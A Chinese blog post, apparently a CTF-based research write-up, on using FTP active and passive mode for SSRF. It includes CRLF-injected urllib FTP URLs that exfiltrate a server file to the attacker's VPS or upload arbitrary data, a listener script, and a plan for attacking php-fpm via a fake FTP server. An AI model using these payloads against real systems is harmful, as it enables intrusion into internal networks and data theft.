针对FTP的SSRF攻击

最新推荐文章于 2025-01-31 16:55:43 发布
最新推荐文章于 2025-01-31 16:55:43 发布
阅读量749 收藏
点赞数
文章标签： python django pygame virtualenv
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/why811/article/details/133749036
版权

前言

ssrf中常用的协议有http，gopher等。但http协议在ssrf中的用处也仅限于访问内网页面，在可以crlf的情况下才有可能扩大攻击范围。gopher协议比较特殊，在部分环境下支持此协议，如：curl。但还有一些环境就不支持了，如:urllib.request模块。

但最近的laravel框架的rce吸引了我的注意力。此上面提供的文章中，研究员在可使用的协议受到约束的条件下，选择使用ftp协议攻击php-fpm以达到rce。出于此，笔者决定探究ftp协议在ssrf中都有哪些应用。

ftp的两种模式

ftp协议是文件传输协议，其使用模式有两种：

  1. 主动模式

主动模式下，客户端向服务端发送连接请求命令PORT a,a,a,a,b,c，其中a是客户端ipv4的地址，b和c记录了一个由客户端开放的端口(b×256)+c。随后服务端尝试连接客户端指定的地址。连接成功后，两者开始进行文件的传输。

但由于客户端由于防火墙等原因，导致服务端无法连接至客户端。为了解决这个问题，诞生了另一种模式。

  1. 被动模式

被动模式下，客户端向服务端发送连接请求命令PASV，随后服务端返回一个类似于右边字符串的响应227 Entering passive mode (a,a,a,a,b,c).，告诉客户端连接对应的地址进行文件传输。

发现了吗？在上面的命令中a, b, c如果可以受到我们控制，不就可以达到ssrf的效果了吗？

对ftp server进行ssrf

在刚刚结束的starctf中，其中一题oh-my-bet便是用到了主动模式下的ftp进行ssrf，发送二进制数据至mongoDB更改数据库中数据。

以下是原题目中使用pyftpdlib模块搭建于内网中的ftp server。

# import logging
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


authorizer = DummyAuthorizer()

authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")

handler = FTPHandler
handler.permit_foreign_addresses = True #<-- 此句很重要，原因后说
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer

# logging.basicConfig(level=logging.DEBUG) <-- 在测试时加入此句方便dubug

server = FTPServer(("0.0.0.0", 8877), handler)
server.serve_forever()

除ftp server，还有一个存在于内网的mongoDB，用于储存flask-session的pickle序列化数据。以及一个内网mysql用于储存用户数据。最后是向公网开放的flask web server。

原题目中存在一个参数可控的urllib.request.urlopen(value)，且python版本3.6，存在crlf漏洞。

题目最后要求rce。唯一有可能的突破点，是储存在mongoDB中的flask-session序列化数据。但如果使用http协议crlf传输mongoDB的数据是不行的，会被mongoDB拒绝连接。gopher协议不被urllib.request.urlopen(value)支持。所以最终着眼于ftp协议。

本文为讲解ftp在ssrf中的应用，简化上面环境，假设ftp-server.py所在目录有以下文件。

先在urllib中连接尝试读取文件。

urllib在成功连接控制端口后，会发送url中的用户名与密码，因此可以在密码后crlf，注入其它命令。

以下代码会发送ftp-server.py文件至自己vps的2333端口。

ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nRETR ftp-server.py\r\n@172.17.0.1:8877/ftp-server.py").read()

既然都可以上传至自己vps上的指定端口，那么就可以将其改为内网的任意ip与端口。

ip可控，接下来就是如何控制内容了。

正常情况下，单凭urlopen是无法上传文件的，但因为存在crlf漏洞，我们可以轻易上传文件。

使用以下代码，可以告诉服务器：从自己vps的2333端口获取test文件，并保存。

ur.urlopen("ftp://fan:root\r\nTYPE I\r\nCWD .\r\nPORT v,p,s,ip,9,29\r\nSTOR test\r\n@172.17.0.1:8877/").read()

这里可以简单写一个socket监听。

import socket

s = socket.socket()
s.bind(("0.0.0.0", 2333))
s.listen()

c, a = s.accept()
print(a)
c.send(b'\x02\x03\x03')
c.close()
s.close()

成功上传。

上面是对ftp server进行ssrf，但在真实情况下就不太可能出现了。这种攻击被称为FTP bounce attack，是一种比较老旧的攻击方式，现在的ftp server都会禁止这一行为。但在此题中handler.permit_foreign_addresses = True，让这种攻击变为可能。

对ftp client进行ssrf

回到开头所说的laravel debug rce。

根据原文，在模块中有以下抽象过的代码。

$data = file_get_contents($file);
file_put_contents($file, $data);

文章首先给出的方法是利用php伪协议清空log文件，然后写入phar数据，再使用phar协议达成反序列化。但还有一个方法，文章没有细说，就是使用ftp协议攻击php-fpm。

那么具体思路如下：

  1. php从我们的ftp server获取payload，存入变量中。
  2. php上传文件时，将被动模式的连接地址改为php所在服务器的内网地址，上传payload攻击。

我们先看一看php的文件类函数是如何发送ftp请求的。

依然是利用上面pyftpdlib模块的脚本开启ftp服务。在命令行使用：

php -r '$data = file_get_contents(\'ftp://fan:root@127.0.0.1:8877/test\');file_put_contents(\'ftp://fan:root@127.0.0.1:8877/test\', $data);'

查看ftp服务日志。(这里仅列出关键信息)

; php获取文件
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18486-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18486-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 213 4
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- EPSV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 500 'EPSV': command not understood.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- PASV
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- RETR /test
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 150 File status okay. About to open data connection.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 226 Transfer complete.
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] <- QUIT
DEBUG:pyftpdlib:127.0.0.1:18486-[fan] -> 221 Goodbye.

; php上传文件
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 220 pyftpdlib 1.5.6 ready.
DEBUG:pyftpdlib:127.0.0.1:18488-[] <- USER fan
DEBUG:pyftpdlib:127.0.0.1:18488-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- PASS ******
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 230 Login successful.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- TYPE I
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] <- SIZE /test
DEBUG:pyftpdlib:127.0.0.1:18488-[fan] -> 213 4

在这里，php先使用SIZE命令确认文件是否存在，然后使用了EPSV命令，这个命令含义是启用扩展被动模式。ftp server将指返回端口，但不返回ip。解决方法很简单，找一个不支持这个扩展的服务器就行。这里笔者是修改了pyftpdlib模块的源码，使其返回500 'EPSV': command not understood.。

综合上面信息，有两个难点：

  1. php获取和上传的是同一个文件，file_put_contents会检测文件是否已经存在，如果存在则不会进行上传操作。因此需要在php获取文件后的瞬间删除该文件。
  2. 一般ftp client都使用被动模式。php获取文件时，要求被动模式返回ftp server自己的地址。但php上传文件时，返回的却是php所在服务器的内网地址。

很明显，上面的问题套用一般的轮子很难解决。因为ftp协议本身的交互没有那么复杂。所以尝试做一个fake ftp server(https://gitlab.in.starcross.cn/AFKL/laravel-debug-ftp-ssrf)。

这里尝试将一个test字符串从外网，通过php的ftp client发送至php所在服务器内网的2333端口。

效果如下：

总结

ftp可以在ssrf中起到作用，其原因便是PORT和PASV两个命令导致的连接跳转。把握此点，便可使ftp在漏洞利用中大放异彩！

why811
关注
FTP爆破攻击：使用Python脚本快速测试FTP服务器的安全性
weixin_43263566的博客
05-30 1963
使用Python脚本进行FTP暴力破解
深入剖析 SSRF 攻击：原理、危害与防范之道
candy的博客
01-02 212
在当今数字化的时代，网络安全已成为各个领域至关重要的一环。随着 Web 应用的广泛普及和复杂性的不断增加，各类安全漏洞也层出不穷，其中服务器端请求伪造（Server-Side Request Forgery，SSRF）作为一种较为隐蔽且危害严重的漏洞，逐渐受到了安全研究者和从业者的高度关注。SSRF 攻击能够绕过许多传统的安全防护机制，使攻击者得以非法访问内部网络资源、窃取敏感信息，甚至可能完全控制目标服务器，对企业和组织的信息安全构成了严重威胁。
谈FTP服务器攻击技术及其展望 (下)
李晨光原创IT博客
05-19 753
上篇回顾：谈FTP服务器攻击技术及其展望 (上)http://chenguang.blog.51cto.com/350944/436876本文出自 “李晨光原创技术博客” 博客，谢绝转载！
FTP枢轴攻击
dfdhxb995397的博客
10-13 196
简单来说，这是攻击者可以利用属于不同网络的那些系统的攻击。 本文作者：jishuzhain 对于这种攻击，攻击者需要利用主服务器来帮助攻击者将自己添加到本地网络中，然后攻击者就可以将客户端系统进行定位，然后攻击。 实验环境要求： 攻击机：Kali Linux 枢纽机：具有两个网络接口的windows系统 目标机器：windows7（允许FTP服务） 利用枢纽机 使用ex...
Ftp的攻击
01-03 3247
Ftp的攻击其实也没有什么的， 就是把旧的东西都拿出来再写一次啦， ftp的攻击无非就是对用户的猜解和对的ftp服务器的溢出！那我们来熟悉一下你几乎很熟悉的知识！对用户密码的猜解， 我看几乎每个扫描器都有这个功能。一直用别人的工具真的有点不好意思， 有点寄人篱下的感觉， 不知道大家有没有呢！还有的就是， 你对如何扫到密码和用户的过程了解吗？其实不难的！当你在命令行中用ftp命令连接某个ftp服务器
FTP 跳转攻击
mgxcool的专栏
09-06 9072
FTP主动模式中，客户端向服务器发送port命令，指定ip和端口号，服务器收到后，会从80端口发起数据连接。PORT命令格式如下： PORT A，B，C，D，E，F 服务器解析后，参数的前四个字段，作为地址A.B.C.D，对应的数据连接的目标端口为E*256+F。   ftp的这个特性，被利用的话，可以导致安全问题。假设A.B.C.D是一个邮件服务器，那么如果E,F的值算出
SSRF攻击姿势汇总
CanMeng'Blog - 一个WEB安全渗透的技术爱好者
11-29 1459
前言 这是很早就整理的笔记，今天想起来发到博客上，还是要保持写文章总结的习惯啊。 最近笔者在看讲SSRF、protocol smuggle、HTTP request smuggle、SSO任意跳转，Url解析不一致导致的安全问题。一方面由衷地佩服演讲人的脑洞和安全功底，另外一方面又在笔者又在反思，如果是我，我会怎么去发现此类漏洞，解决方案又是什么。本文不同于各大公众号千篇一律的复现、验证漏洞文章，会加入自己的思考和心得。鉴于文章会存在一些敏感内容，笔者会本着在删除敏感内容的前提下，尽量让大家都能看懂的标准
SSRF漏洞介绍、利用以及防御
世间繁华梦一出
01-30 1038
SSRF简介SSRF漏洞形成原因SSRF漏洞的寻找SSRF漏洞的利用方式执行指令curl命令 简介 SSRF(Server-Side Request Forgery，服务器端请求伪造)：是一种由攻击者构造形成，由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服 务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）。 SSRF漏洞形成原因 SSRF漏洞形成的原因大多都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址 做过滤与限
第39天：WEB攻防-通用漏洞_CSRF_SSRF_协议玩法_内网探针_漏洞利用
weixin_45534587的博客
01-31 1096
CSRF全称：Cross-site request forgery，即，跨站请求伪造，也被称为 “One Click Attack” 或 “Session Riding”，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。举个生活中的例子：就是某个人点了个奇怪的链接，自己什么也没输入，但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求，执行恶意操作，具有很大的危害性。
CSRF与SSRF
qq_73792226的博客
07-22 1392
CSRF定义：CSRF是一种由攻击者构造形成，利用用户在已登录的网站中提交非法请求的行为。攻击者通过伪造用户提交的请求，将恶意请求发送至受信任的网站，导致用户在不知情的情况下执行恶意操作。原理：CSRF攻击利用了网站对用户网页浏览器的信任。攻击者通过诱使用户访问一个恶意网页（通常是通过邮件、消息或恶意网站链接），该网页中包含了一个指向受信任网站的恶意请求。由于用户的浏览器在访问该网站时已经处于登录状态，因此这个恶意请求会携带用户的认证信息（如Cookie），从而被受信任的网站信任并执行。SSRF。
msf攻击FTP 服务.docx
04-26
通过图文并茂的方式详细描述了利用msf框架进行ftp攻击的过程，文中包含了命令和步骤，很详细，给初学者作为参考。
ftp文件服务器攻击,serv-U FTP软件的攻击防守修改教程[图文]
weixin_33335559的博客
08-09 728
在看这篇文章之前，有几点要注意1、everyone用户完全控制目录在服务器上绝对不能出现2、WEB目录上的权限都是独立的一般情况下是读取和写入，无运行权利3、ipsec做了限定相关出入站端口访问Serv-u本地默认管理端口，以默认管理员登陆新建域和用户来执行命令，Serv-u V3.x以上的版本默认本地管理端口是：127.0.0.1:43958，所以只能本机连接，默认管理员：LocalAdmini...
Violent python - FTP攻击
Blood_Pupil的博客
09-28 564
FTP攻击 import ftplib import optparse import time def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous', 'me@your.com') print '\n[*] ' + str(hostname) \ + ' FTP Anonym...
谈FTP服务器攻击技术及其展望 (修改中)
李晨光原创IT博客
05-19 669
欢迎大家给我投票： http://2010blog.51cto.com/350944请看下篇：谈FTP服务器攻击技术及其展望 (下)              全文完http://chenguang.blog.51cto.com/350944/438331本文出自 “李晨光原创技术博客” 博客，谢绝转载！
linux的FTP服务器搭建及FTP服务器的***和防御
weixin_33852020的博客
09-13 242
FTP 是File Transfer Protocol（文件传输协议）的英文简称，而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。与大多数Internet服务一样，FTP也是一个客户机/服务器系统。用户通过一个支持FTP协议的客户机程序，连接到在远程主机上的FTP服务器程序。用户通过客户机程序向服务器程序发出命令，服务器程序执行用户所发出的命令，并将执行...
入门渗透：FTP入侵——Fawn
栉风沐雪的博客
01-31 2189
入门渗透：FTP入侵——Fawn，使用的是hackthebox靶机。小技巧：可以通过搜索引擎查找csftpd 3.0.3出现的CVE漏洞等，一般最新的服务漏洞不会曝光，但是如果不是最新版本，可以查找相关的漏洞，使用msf的模块进行渗透。遇到没有进行加密的ftp一般运行于21端口，此处靶机为简单的ftp服务。使用的是hackthebox的Fawn靶机。
网络安全 之 FTP，溢出攻击
HeroIsUseless的博客
08-28 1203
反正不管什么，首先就要全部扫描 searchspolit，这个工具储存了所有软件不同版本的漏洞。。。 matasolit，远程溢出工具
FTP服务器的攻防实战
jxcjxinxing的专栏
04-25 1106
（4）使用SSL加密连接FTP    启用Serv-U服务器的SSL功能后，就可以利用此功能安全传输数据了，但FTP客户端程序必须支持SSL功能才行。如果我们直接使用IE浏览器进行登录则会出现图9显示的错误信息，一方面是以为没有修改默认的端口21为990，另外IE浏览器不支持SSL协议传输。    当然支持SSL的FTP客户端程序现在也比较多，笔者以“Flash FXP”程序为例，介绍如何
SSRF
最新发布
03-10
### SSRF漏洞概述 #### 定义 SSRF（Server-Side Request Forgery），即服务器端请求伪造，是一种由攻击者构造恶意请求并让服务器发起该请求的安全漏洞。这种攻击允许攻击者间接访问那些通常无法直接触及的内部网络资源或者外部受限接口。 #### 影响范围 常见的SSRF攻击不仅限于针对服务器本身，还包括其他后端系统。例如，当应用程序使用某些特定功能时可能会触发此类行为，从而导致敏感信息泄露或其他潜在危害[^1]。 #### 攻击原理 在典型的SSRF场景下，数据流动路径如下所示： - **流程**: 攻击者 -> 应用程序/网站 -> 内部服务或第三方API。 这意味着如果应用逻辑中存在可被操控的部分用于构建HTTP(S)调用，则可能成为发动SSRF攻击的目标位置之一。特别是PHP环境中的一些内置函数，在不恰当的应用情况下容易引发这类风险[^3]。 #### 利用方式 一种值得注意的技术手段涉及到了几乎已被淘汰但仍具有一定价值的老式互联网协议——Gopher。尽管它最初设计目的是为了文件传输目的而创建，但在现代Web安全领域里却找到了新的用途：作为扩展SSRF攻击面的有效工具。借助于此种方法能够实现对于多种不同类型的后台进程和服务实施远程控制操作，比如FTP、Telnet以及NoSQL数据库等非关系型存储解决方案；甚至还可以模拟标准web交互模式下的GET/POST请求过程来获取更多权限之外的信息[^2]。 ```python import requests def exploit_gopher_ssr(): url = 'http://example.com/vulnerable_endpoint?url=gopher://internal-service:port/path' response = requests.get(url) print(response.text) exploit_gopher_ssr() ``` #### 防护策略 为了避免遭受上述提到的各种形式的威胁，采取有效的预防措施至关重要。以下是几种推荐的做法： - 使用严格的白名单机制而非黑名单来进行输入验证； - 对任何来自用户的URL参数执行全面审查，并仅允许可信源址； - 实施严格的身份认证与授权检查以防止未授权访问； - 关闭不必要的网络连接选项，尤其是像gopher这样的古老协议支持； - 跟踪最新的CVE公告和技术文章保持警惕更新补丁状态。 通过以上介绍可以看出，理解SSRF的工作机理及其带来的后果是非常必要的，同时也应该积极寻找合适的防范对策减少受到侵害的可能性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值